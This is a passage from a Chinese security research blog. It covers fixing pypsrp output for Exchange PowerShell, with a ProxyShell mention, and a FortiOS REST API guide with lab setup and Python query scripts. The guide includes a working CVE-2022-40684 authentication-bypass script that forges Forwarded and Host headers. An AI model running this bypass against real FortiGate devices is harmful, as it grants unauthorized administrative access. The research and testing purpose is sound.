N="ElcProcessingDisabled">false</B><B N="ComplianceTagHoldApplied">false</B><B N="WasInactiveMailbox">false</B><B N="DelayHoldApplied">false</B><Nil N="InactiveMailboxRetireTime" /><Nil N="OrphanSoftDeleteTrackingTime" /><S N="LitigationHoldDuration">Unlimited</S><Nil N="ManagedFolderMailboxPolicy" /><Nil N="RetentionPolicy" /><Nil N="AddressBookPolicy" /><B N="CalendarRepairDisabled">false</B><G N="ExchangeGuid">9b9387fe-e1b1-4695-97bd-b0a0bebe7ce2</G><Nil N="MailboxContainerGuid" /><Nil N="UnifiedMailbox" /><Obj N="MailboxLocations" RefId="2"><TN RefId="2"><T>System.Collections.Generic.List`1[[Microsoft.Exchange.Data.Directory.IMailboxLocationInfo, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><S>1;9b9387fe-e1b1-4695-97bd-b0a0bebe7ce2;Primary;test.com;0f29ba80-17c3-4c51-9d94-d017c850e3be</S></LST></Obj><Obj N="AggregatedMailboxGuids" RefId="3"><TN RefId="3"><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST /></Obj><S N="ExchangeSecurityDescriptor">System.Security.AccessControl.RawSecurityDescriptor</S><S N="ExchangeUserAccountControl">None</S><S N="AdminDisplayVersion">Version 15.1 (Build 2507.6)</S><B N="MessageTrackingReadStatusEnabled">true</B><S N="ExternalOofOptions">External</S><Nil N="ForwardingAddress" /><Nil N="ForwardingSmtpAddress" /><S N="RetainDeletedItemsFor">14.00:00:00</S><B N="IsMailboxEnabled">true</B><Obj N="Languages" RefId="4"><TN RefId="4"><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[System.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST><Obj RefId="5"><TN RefId="5"><T>System.Globalization.CultureInfo</T><T>System.Object</T></TN><ToString>en-US</ToString><Props><I32 N="LCID">1033</I32><S N="Name">en-US</S><S N="DisplayName">English (United States)</S><S N="IetfLanguageTag">en-US</S><S N="ThreeLetterISOLanguageName">eng</S><S N="ThreeLetterWindowsLanguageName">ENU</S><S N="TwoLetterISOLanguageName">en</S></Props></Obj></LST></Obj><Nil N="OfflineAddressBook" /><S N="ProhibitSendQuota">Unlimited</S><S N="ProhibitSendReceiveQuota">Unlimited</S><S N="RecoverableItemsQuota">30 GB (32,212,254,720 bytes)</S><S N="RecoverableItemsWarningQuota">20 GB (21,474,836,480 bytes)</S><S N="CalendarLoggingQuota">6 GB (6,442,450,944 bytes)</S><B N="DowngradeHighPriorityMessagesEnabled">false</B><Obj N="ProtocolSettings" RefId="6"><TN RefId="6"><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST><S>RemotePowerShell§1</S></LST></Obj><S N="RecipientLimits">Unlimited</S><B N="ImListMigrationCompleted">false</B><Nil N="SiloName" /><B N="IsResource">false</B><B N="IsLinked">false</B><B N="IsShared">false</B><B N="IsRootPublicFolderMailbox">false</B><S N="LinkedMasterAccount"></S><B N="ResetPasswordOnNextLogon">false</B><Nil N="ResourceCapacity" /><Obj N="ResourceCustom" RefId="7"><TNRef RefId="6" /><LST /></Obj><Nil N="ResourceType" /><Nil N="RoomMailboxAccountEnabled" /><S N="SamAccountName">Administrator</S><Nil N="SCLDeleteThreshold" /><Nil N="SCLDeleteEnabled" /><Nil N="SCLRejectThreshold" /><Nil N="SCLRejectEnabled" /><Nil N="SCLQuarantineThreshold" /><Nil N="SCLQuarantineEnabled" /><Nil N="SCLJunkThreshold" /><Nil N="SCLJunkEnabled" /><B N="AntispamBypassEnabled">false</B><S N="ServerLegacyDN">/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=EXCHANGE02</S><S N="ServerName">exchange02</S><B N="UseDatabaseQuotaDefaults">true</B><S N="IssueWarningQuota">Unlimited</S><S N="RulesQuota">256 KB (262,144 bytes)</S><S N="Office"></S><S N="UserPrincipalName">[email protected]</S><B N="UMEnabled">false</B><Nil N="MaxSafeSenders" /><Nil N="MaxBlockedSenders" /><Nil N="NetID" /><Nil N="ReconciliationId" /><S N="WindowsLiveID"></S><S N="MicrosoftOnlineServicesID"></S><Nil N="ThrottlingPolicy" /><S N="RoleAssignmentPolicy">Default Role Assignment Policy</S><Nil N="DefaultPublicFolderMailbox" /><Nil N="EffectivePublicFolderMailbox" /><S N="SharingPolicy">Default Sharing Policy</S><Nil N="RemoteAccountPolicy" /><Nil N="MailboxPlan" /><Nil N="ArchiveDatabase" /><G N="ArchiveGuid">00000000-0000-0000-0000-000000000000</G><Obj N="ArchiveName" RefId="8"><TNRef RefId="6" /><LST /></Obj><S N="JournalArchiveAddress"></S><S N="ArchiveQuota">100 GB (107,374,182,400 bytes)</S><S N="ArchiveWarningQuota">90 GB (96,636,764,160 bytes)</S><Nil N="ArchiveDomain" /><S N="ArchiveStatus">None</S><S N="ArchiveState">None</S><B N="AutoExpandingArchiveEnabled">false</B><B N="DisabledMailboxLocations">false</B><S N="RemoteRecipientType">None</S><Nil N="DisabledArchiveDatabase" /><G N="DisabledArchiveGuid">00000000-0000-0000-0000-000000000000</G><Nil N="QueryBaseDN" /><B N="QueryBaseDNRestrictionEnabled">false</B><Nil N="MailboxMoveTargetMDB" /><Nil N="MailboxMoveSourceMDB" /><S N="MailboxMoveFlags">None</S><S N="MailboxMoveRemoteHostName"></S><S N="MailboxMoveBatchName"></S><S N="MailboxMoveStatus">None</S><S N="MailboxRelease"></S><S N="ArchiveRelease"></S><B N="IsPersonToPersonTextMessagingEnabled">false</B><B N="IsMachineToPersonTextMessagingEnabled">true</B><Obj N="UserSMimeCertificate" RefId="9"><TN RefId="7"><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST /></Obj><Obj N="UserCertificate" RefId="10"><TNRef RefId="7" /><LST /></Obj><B N="CalendarVersionStoreDisabled">false</B><S N="ImmutableId"></S><Obj N="PersistedCapabilities" RefId="11"><TN RefId="8"><T>Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.Capability, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.Capability, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST /></Obj><Nil N="SKUAssigned" /><B N="AuditEnabled">false</B><S N="AuditLogAgeLimit">90.00:00:00</S><Obj N="AuditAdmin" RefId="12"><TN RefId="9"><T>Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxAuditOperations, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxAuditOperations, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST><S>Update</S><S>Move</S><S>MoveToDeletedItems</S><S>SoftDelete</S><S>HardDelete</S><S>FolderBind</S><S>SendAs</S><S>SendOnBehalf</S><S>Create</S></LST></Obj><Obj N="AuditDelegate" RefId="13"><TNRef RefId="9" /><LST><S>Update</S><S>SoftDelete</S><S>HardDelete</S><S>SendAs</S><S>Create</S></LST></Obj><Obj N="AuditOwner" RefId="14"><TNRef RefId="9" /><LST /></Obj><DT N="WhenMailboxCreated">2022-10-19T20:31:31-07:00</DT><S N="SourceAnchor"></S><Nil N="UsageLocation" /><B N="IsSoftDeletedByRemove">false</B><B N="IsSoftDeletedByDisable">false</B><B N="IsInactiveMailbox">false</B><B N="IncludeInGarbageCollection">false</B><Nil N="WhenSoftDeleted" /><Obj N="InPlaceHolds" RefId="15"><TNRef RefId="6" /><LST /></Obj><Obj N="GeneratedOfflineAddressBooks" RefId="16"><TN RefId="10"><T>Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.ADObjectId, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.ADObjectId, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST /></Obj><B N="AccountDisabled">false</B><Nil N="StsRefreshTokensValidFrom" /><Nil N="DataEncryptionPolicy" /><B N="DisableThrottling">false</B><Obj N="Extensions" RefId="17"><TNRef RefId="6" /><LST /></Obj><B N="HasPicture">false</B><B N="HasSpokenName">false</B><B N="IsDirSynced">false</B><Obj N="AcceptMessagesOnlyFrom" RefId="18"><TNRef RefId="10" /><LST /></Obj><Obj N="AcceptMessagesOnlyFromDLMembers" RefId="19"><TNRef RefId="10" /><LST /></Obj><Obj N="AcceptMessagesOnlyFromSendersOrMembers" RefId="20"><TNRef RefId="10" /><LST /></Obj><Obj N="AddressListMembership" RefId="21"><TNRef RefId="10" /><LST><S>\Mailboxes(VLV)</S><S>\All Mailboxes(VLV)</S><S>\All Recipients(VLV)</S><S>\Default Global Address List</S><S>\All Users</S></LST></Obj><Obj N="AdministrativeUnits" RefId="22"><TNRef RefId="10" /><LST /></Obj><S N="Alias">Administrator</S><Nil N="ArbitrationMailbox" /><Obj N="BypassModerationFromSendersOrMembers" RefId="23"><TNRef RefId="10" /><LST /></Obj><S N="OrganizationalUnit">test.com/Users</S><S N="CustomAttribute1"></S><S N="CustomAttribute10"></S><S N="CustomAttribute11"></S><S N="CustomAttribute12"></S><S N="CustomAttribute13"></S><S N="CustomAttribute14"></S><S N="CustomAttribute15"></S><S N="CustomAttribute2"></S><S N="CustomAttribute3"></S><S N="CustomAttribute4"></S><S N="CustomAttribute5"></S><S N="CustomAttribute6"></S><S N="CustomAttribute7"></S><S N="CustomAttribute8"></S><S N="CustomAttribute9"></S><Obj N="ExtensionCustomAttribute1" RefId="24"><TNRef RefId="6" /><LST /></Obj><Obj N="ExtensionCustomAttribute2" RefId="25"><TNRef RefId="6" /><LST /></Obj><Obj N="ExtensionCustomAttribute3" RefId="26"><TNRef RefId="6" /><LST /></Obj><Obj N="ExtensionCustomAttribute4" RefId="27"><TNRef RefId="6" /><LST /></Obj><Obj N="ExtensionCustomAttribute5" RefId="28"><TNRef RefId="6" /><LST /></Obj><S N="DisplayName">Administrator</S><Obj N="EmailAddresses" RefId="29"><TN RefId="11"><T>Microsoft.Exchange.Data.ProxyAddressCollection</T><T>Microsoft.Exchange.Data.ProxyAddressBaseCollection`1[[Microsoft.Exchange.Data.ProxyAddress, Microsoft.Exchange.Data, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.ProxyAddress, Microsoft.Exchange.Data, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST><S>SMTP:[email protected]</S></LST></Obj><Obj N="GrantSendOnBehalfTo" RefId="30"><TNRef RefId="10" /><LST /></Obj><S N="ExternalDirectoryObjectId"></S><B N="HiddenFromAddressListsEnabled">false</B><Nil N="LastExchangeChangedTime" /><S N="LegacyExchangeDN">/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=d1ce5d43a9184ce3ba01e101a19d0a28-Admin</S><S N="MaxSendSize">Unlimited</S><S N="MaxReceiveSize">Unlimited</S><Obj N="ModeratedBy" RefId="31"><TNRef RefId="10" /><LST /></Obj><B N="ModerationEnabled">false</B><Obj N="PoliciesIncluded" RefId="32"><TNRef RefId="6" /><LST><S>e1a339c9-ac14-4226-9cf8-6de2e2b48d6d</S><S>{26491cfc-9e50-4857-861b-0cb8df22b5d7}</S></LST></Obj><Obj N="PoliciesExcluded" RefId="33"><TNRef RefId="6" /><LST /></Obj><B N="EmailAddressPolicyEnabled">true</B><S N="PrimarySmtpAddress">[email protected]</S><S N="RecipientType">UserMailbox</S><S N="RecipientTypeDetails">UserMailbox</S><Obj N="RejectMessagesFrom" RefId="34"><TNRef RefId="10" /><LST /></Obj><Obj N="RejectMessagesFromDLMembers" RefId="35"><TNRef RefId="10" /><LST /></Obj><Obj N="RejectMessagesFromSendersOrMembers" RefId="36"><TNRef RefId="10" /><LST /></Obj><B N="RequireSenderAuthenticationEnabled">false</B><S N="SimpleDisplayName"></S><S N="SendModerationNotifications">Always</S><Obj N="UMDtmfMap" RefId="37"><TNRef RefId="6" /><LST><S>emailAddress:2364647872867</S><S>lastNameFirstName:2364647872867</S><S>firstNameLastName:2364647872867</S></LST></Obj><S N="WindowsEmailAddress">[email protected]</S><Nil N="MailTip" /><Obj N="MailTipTranslations" RefId="38"><TNRef RefId="6" /><LST /></Obj><S N="Identity">test.com/Users/Administrator</S><B N="IsValid">true</B><S N="ExchangeVersion">0.20 (15.0.0.0)</S><S N="Name">Administrator</S><S N="DistinguishedName">CN=Administrator,CN=Users,DC=test,DC=com</S><G N="Guid">c07d2fbc-48f5-4a90-b7d7-5ec79d2844b4</G><S N="ObjectCategory">test.com/Configuration/Schema/Person</S><Obj N="ObjectClass" RefId="39"><TNRef RefId="6" /><LST><S>top</S><S>person</S><S>organizationalPerson</S><S>user</S></LST></Obj><DT N="WhenChanged">2022-10-30T18:01:36-07:00</DT><DT N="WhenCreated">2022-10-19T18:10:53-07:00</DT><DT N="WhenChangedUTC">2022-10-31T01:01:36Z</DT><DT N="WhenCreatedUTC">2022-10-20T01:10:53Z</DT><S N="OrganizationId"></S><S N="Id">test.com/Users/Administrator</S><S N="OriginatingServer">dc01.test.com</S><S N="ObjectState">Unchanged</S></Props></Obj>
Administrator
</code></pre></div></div>
<p>在调用<code class="language-plaintext highlighter-rouge">serializer.deserialize(message_data)</code>提取输出结果时,这里只提取到了一组数据,忽略了完整的结果</p>
<p>经过简单的分析,发现<code class="language-plaintext highlighter-rouge"><Props></Props></code>标签内包含完整的输出结果,所以这里可先通过字符串截取提取出<code class="language-plaintext highlighter-rouge"><Props></Props></code>标签内的数据,示例代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>props_data = message_data[message_data.find('<Props'):message_data.rfind('</Props>')+8]
</code></pre></div></div>
<p>进一步分析提取出来的数据,发现每个标签<code class="language-plaintext highlighter-rouge"><S></S></code>分别对应一项属性,为了提高效率,这里使用<code class="language-plaintext highlighter-rouge">xml.dom.minidom</code>解析成xml格式并提取元素,示例代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from xml.dom import minidom
dom = minidom.parseString(props_data)
data_s = dom.getElementsByTagName("S")
for data_i in data_s:
if data_i.firstChild and len(data_i.getAttribute('N'))>0:
key = data_i.getAttribute('N') #每个子节点属性'N'的名称
value = data_i.firstChild.data #每个子节点的值
print('{:32s}: {}'.format(key,value)) #格式化输出
</code></pre></div></div>
<p>经测试,以上代码能够输出完整的结果</p>
<p>按照<a href="https://github.com/jborean93/pypsrp">pypsrp</a>的代码格式,得出优化<a href="https://github.com/jborean93/pypsrp">pypsrp</a>输出结果的代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> try:
if "Microsoft.Exchange" in message_data:
#try to output the complete results of the Exchange Powershell
props_data = message_data[message_data.find('<Props'):message_data.rfind('</Props>')+8]
from xml.dom import minidom
dom = minidom.parseString(props_data)
data_s = dom.getElementsByTagName("S")
temp_data = ""
for data_i in data_s:
if data_i.firstChild and len(data_i.getAttribute('N'))>0:
key = data_i.getAttribute('N')
value = data_i.firstChild.data
temp_data += '{:32s}: {}\r\n'.format(key,value)
message_data = temp_data
else:
message_data = serializer.deserialize(message_data)
</code></pre></div></div>
<p>使用修改过的<a href="https://github.com/3gstudent/pypsrp">pypsrp</a>连接Exchange PowerShell执行命令时,能够返回完整的输出结果,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-1/2-3.png" alt="Alt text" /></p>
<p>经测试,在测试ProxyShell的过程中,使用修改过的<a href="https://github.com/3gstudent/pypsrp">pypsrp</a>也能得到完整的输出结果</p>
<h3 id="补充">补充:</h3>
<p>如果使用原始版本<a href="https://github.com/jborean93/pypsrp">pypsrp</a>测试ProxyShell,可通过解析代理的返回结果实现,其中需要注意的是在作Base64解密时,由于存在不可见字符,无法使用<code class="language-plaintext highlighter-rouge">.decode('utf-8')</code>解码,可以换用<code class="language-plaintext highlighter-rouge">.decode('ISO-8859-1')</code>,还需要考虑数据被分段的问题,实现的示例代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data_base64 = ""
data = re.compile(r"<rsp:Stream(.*?)</rsp:Stream>").findall(res.text)
for i in range(len(data)):
data_base64 = data_base64 + data[i][64:]
data_decrypt = base64.b64decode(data_base64).decode('ISO-8859-1')
</code></pre></div></div>
<h2 id="0x05-小结">0x05 小结</h2>
<hr />
<p>本文介绍了通过<a href="https://github.com/jborean93/pypsrp">pypsrp</a>连接Exchange PowerShell执行命令返回完整输出结果的解决方法。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Sat, 01 Oct 2022 00:00:00 +0000
https://3gstudent.github.io//pypsrp%E5%9C%A8Exchange-Powershell%E4%B8%8B%E7%9A%84%E4%BC%98%E5%8C%96
https://3gstudent.github.io/pypsrp%E5%9C%A8Exchange-Powershell%E4%B8%8B%E7%9A%84%E4%BC%98%E5%8C%96
-
FortiOS REST API开发指南
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>本文将要介绍FortiOS REST API的相关用法,分享脚本开发的实现细节。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>Fortigate环境搭建</li>
<li>FortiOS REST API两种登录方式</li>
<li>常用操作</li>
<li>常用功能</li>
</ul>
<h2 id="0x02-fortigate环境搭建">0x02 Fortigate环境搭建</h2>
<hr />
<p>这里以Fortigate作为FortiOS REST API的测试环境,安装FortiGate for VMware</p>
<p>参考资料:https://getlabsdone.com/how-to-install-fortigate-on-vmware-workstation/</p>
<h3 id="1下载fortigate-for-vmware安装包">1.下载FortiGate for VMware安装包</h3>
<p>下载地址:https://support.fortinet.com/</p>
<p>选择<code class="language-plaintext highlighter-rouge">Support</code> -> <code class="language-plaintext highlighter-rouge">VMImages</code>,Select Product: <code class="language-plaintext highlighter-rouge">FortiGate</code>,Select Platform: <code class="language-plaintext highlighter-rouge">VMWare ESXi</code></p>
<p><strong>注:</strong></p>
<p>7.2之前的版本可使用15天,7.2之后的版本需要账号注册</p>
<h3 id="2导入ova文件">2.导入ova文件</h3>
<p>打开FortiGate-VM64.ova导入VMWare</p>
<h3 id="3配置网卡">3.配置网卡</h3>
<p>默认添加了10个网卡,我们只需要保留3个,删除后面的7个,3个网卡的具体配置如下:</p>
<h4 id="1管理网卡">(1)管理网卡</h4>
<p>依次选择<code class="language-plaintext highlighter-rouge">VMware workstation</code> -> <code class="language-plaintext highlighter-rouge">Edit</code> -> <code class="language-plaintext highlighter-rouge">Virtual Network Editor</code>,点击<code class="language-plaintext highlighter-rouge">Change settings</code>,点击<code class="language-plaintext highlighter-rouge">Add Network...</code>,选择<code class="language-plaintext highlighter-rouge">VMnet2</code>,<code class="language-plaintext highlighter-rouge">Type</code>选择<code class="language-plaintext highlighter-rouge">Host-only</code>,<code class="language-plaintext highlighter-rouge">DHCP</code>选择<code class="language-plaintext highlighter-rouge">Enabled</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/1-1.png" alt="Alt text" /></p>
<p>将该网卡设置成<code class="language-plaintext highlighter-rouge">VMnet2</code></p>
<h4 id="2wan网卡">(2)WAN网卡</h4>
<p>设置成<code class="language-plaintext highlighter-rouge">bridged</code></p>
<h4 id="3lan网卡">(3)LAN网卡</h4>
<p>选择<code class="language-plaintext highlighter-rouge">network adapter 3</code>,点击<code class="language-plaintext highlighter-rouge">LAN Segments...</code>,点击<code class="language-plaintext highlighter-rouge">Add</code>,命名为<code class="language-plaintext highlighter-rouge">Fortigate LAN</code></p>
<p>将该网卡设置成<code class="language-plaintext highlighter-rouge">LAN segment</code>,选择<code class="language-plaintext highlighter-rouge">Fortigate LAN</code></p>
<p>最终配置如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/1-2.png" alt="Alt text" /></p>
<h3 id="4开启虚拟机">4.开启虚拟机</h3>
<p>默认用户名: <code class="language-plaintext highlighter-rouge">admin</code>,口令为空</p>
<p>查看激活状态的命令:<code class="language-plaintext highlighter-rouge">get system status</code></p>
<p>查看ip的命令: <code class="language-plaintext highlighter-rouge">diagnose ip address list</code></p>
<p>得到管理网卡的ip为<code class="language-plaintext highlighter-rouge">192.168.23.128</code></p>
<h3 id="5访问web管理页面">5.访问Web管理页面</h3>
<p>地址为:http://192.168.23.128</p>
<h2 id="0x03-fortios-rest-api两种登录方式">0x03 FortiOS REST API两种登录方式</h2>
<hr />
<p>参考资料:https://www.used.net.ua/index.php/fajlovyj-arkhiv/category/35-fortinet.html?download=83:fortios-5-6-11-rest-api-reference</p>
<p>FortiOS REST API支持以下两种登录方式:</p>
<h3 id="1使用admin用户口令">1.使用admin用户口令</h3>
<p>需要管理员用户admin的明文口令,不需要额外的配置</p>
<p>通过访问<code class="language-plaintext highlighter-rouge">https://<url>/logincheck</code>生成登录凭据的Cookie,再访问对应的地址</p>
<p>需要注意的是,使用admin用户口令登录结束后需要访问<code class="language-plaintext highlighter-rouge">https://<url>/logout</code>进行注销操作</p>
<p>Python示例代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check(target, username, password):
data = {
"username": username,
"secretkey": password
}
print("[*] Try to logincheck")
r = requests.post(target + "/logincheck", data=data, verify=False)
cookiejar = r.cookies
print("[*] Try to access /api/v2/cmdb/system/admin")
r = requests.get(target + "/api/v2/cmdb/system/admin", cookies=cookiejar, verify=False)
print(r.status_code)
print(r.text)
print("[*] Try to access /api/v2/cmdb/system/api-user")
r = requests.get(target + "/api/v2/cmdb/system/api-user", cookies=cookiejar, verify=False)
print(r.status_code)
print(r.text)
print("[*] Try to access /api/v2/cmdb/system/accprofile")
r = requests.get(target + "/api/v2/cmdb/system/accprofile", cookies=cookiejar, verify=False)
print(r.status_code)
print(r.text)
print("[*] Try to logout")
r = requests.post(target + "/logout", cookies=cookiejar, verify=False)
print(r.status_code)
print(r.text)
check("https://192.168.1.1", "admin", "123456")
</code></pre></div></div>
<p>代码实现以下三个功能:</p>
<ul>
<li>查询管理员用户信息,查询成功</li>
<li>查询REST API用户信息,查询成功</li>
<li>查询配置文件信息,查询成功</li>
</ul>
<h3 id="2使用api-key">2.使用API key</h3>
<p>参考资料:https://docs.fortinet.com/document/forticonverter/6.0.2/online-help/866905/connect-fortigate-device-via-api-token</p>
<p>需要额外创建配置文件和用户,生成API key</p>
<h4 id="1创建配置文件">(1)创建配置文件</h4>
<p>登录Web管理页面,依次选择<code class="language-plaintext highlighter-rouge">System</code> -> <code class="language-plaintext highlighter-rouge">Admin Profiles</code> -> <code class="language-plaintext highlighter-rouge">Create New</code></p>
<p><code class="language-plaintext highlighter-rouge">Name</code>设置为<code class="language-plaintext highlighter-rouge">api_admin</code></p>
<p>将所有权限均设置为<code class="language-plaintext highlighter-rouge">Read/Write</code></p>
<h4 id="2创建用户">(2)创建用户</h4>
<p>依次选择<code class="language-plaintext highlighter-rouge">System</code> -> <code class="language-plaintext highlighter-rouge">Administrators</code> -> <code class="language-plaintext highlighter-rouge">Create New</code> -> <code class="language-plaintext highlighter-rouge">REST API Admin</code></p>
<p><code class="language-plaintext highlighter-rouge">Username</code>设置为<code class="language-plaintext highlighter-rouge">api_user</code></p>
<p><code class="language-plaintext highlighter-rouge">Administrator profile</code>设置为<code class="language-plaintext highlighter-rouge">api_admin</code></p>
<p>自动生成API key,测试环境得到的结果为<code class="language-plaintext highlighter-rouge">r3h53QbtrmNtdk0HH5qwnw8mkcmnt7</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/2-1.png" alt="Alt text" /></p>
<p>API key有以下两种使用方式:</p>
<ul>
<li>作为URL的参数使用,示例:<code class="language-plaintext highlighter-rouge">?access_token=r3h53QbtrmNtdk0HH5qwnw8mkcmnt7</code></li>
<li>放在Header中,示例:<code class="language-plaintext highlighter-rouge">"Authorization": "Bearer r3h53QbtrmNtdk0HH5qwnw8mkcmnt7"</code></li>
</ul>
<p>Python示例代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check(target, token):
headers = {
"Authorization": "Bearer " + token,
}
print("[*] Try to access /api/v2/cmdb/system/admin")
r = requests.get(target + "/api/v2/cmdb/system/admin", headers=headers, verify=False)
print(r.status_code)
print(r.text)
print("[*] Try to access /api/v2/cmdb/system/api-user")
r = requests.get(target + "/api/v2/cmdb/system/api-user", headers=headers, verify=False)
print(r.status_code)
print(r.text)
print("[*] Try to access /api/v2/cmdb/system/accprofile")
r = requests.get(target + "/api/v2/cmdb/system/accprofile", headers=headers, verify=False)
print(r.status_code)
print(r.text)
check("https://192.168.1.1", "r3h53QbtrmNtdk0HH5qwnw8mkcmnt7")
</code></pre></div></div>
<p>代码实现以下三个功能:</p>
<ul>
<li>查询管理员用户信息,查询失败</li>
<li>查询REST API用户信息,查询成功</li>
<li>查询配置文件信息,查询成功</li>
</ul>
<h3 id="补充通过漏洞cve-2022-40684可绕过身份认证">补充:通过漏洞(CVE-2022-40684)可绕过身份认证</h3>
<p>Python示例代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check(target):
headers = {
"user-agent": "Node.js",
"accept-encoding": "gzip, deflate",
"Host": "127.0.0.1:9980",
"forwarded": 'by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=',
"x-forwarded-vdom": "root",
}
print("[*] Try to access /api/v2/cmdb/system/admin")
r = requests.get(target + "/api/v2/cmdb/system/admin", headers=headers, verify=False)
print(r.status_code)
print(r.text)
print("[*] Try to access /api/v2/cmdb/system/api-user")
r = requests.get(target + "/api/v2/cmdb/system/api-user", headers=headers, verify=False)
print(r.status_code)
print(r.text)
print("[*] Try to access /api/v2/cmdb/system/accprofile")
r = requests.get(target + "/api/v2/cmdb/system/accprofile", headers=headers, verify=False)
print(r.status_code)
print(r.text)
check("https://192.168.1.1")
</code></pre></div></div>
<p>代码实现以下三个功能:</p>
<ul>
<li>查询管理员用户信息,查询成功</li>
<li>查询REST API用户信息,查询成功</li>
<li>查询配置文件信息,查询成功</li>
</ul>
<h2 id="0x04-常用操作">0x04 常用操作</h2>
<hr />
<h3 id="1调试输出">1.调试输出</h3>
<p>为了方便调试,可在cli执行以下命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diagnose debug enable
diagnose debug application httpsd -1
</code></pre></div></div>
<p>将会在cli输出调试信息30分钟</p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-16/2-2.png" alt="Alt text" /></p>
<h3 id="2二进制文件提取">2.二进制文件提取</h3>
<p>可使用挂载vmdk的方式提取出二进制文件,逆向分析REST API的实现细节</p>
<p>提取二进制文件的方法可参考:https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/</p>
<h3 id="3增删改查操作">3.增删改查操作</h3>
<p>读取内容使用<code class="language-plaintext highlighter-rouge">GET</code>方法</p>
<p>新建内容使用<code class="language-plaintext highlighter-rouge">POST</code>方法</p>
<p>修改内容使用<code class="language-plaintext highlighter-rouge">PUT</code>方法</p>
<p>删除内容使用<code class="language-plaintext highlighter-rouge">DELETE</code>方法</p>
<h2 id="0x05-常用功能">0x05 常用功能</h2>
<hr />
<h3 id="1创建本地用户">1.创建本地用户</h3>
<p>需要访问<code class="language-plaintext highlighter-rouge">/api/v2/cmdb/user/local</code>,发送json数据</p>
<p>Python示例代码如下:</p>
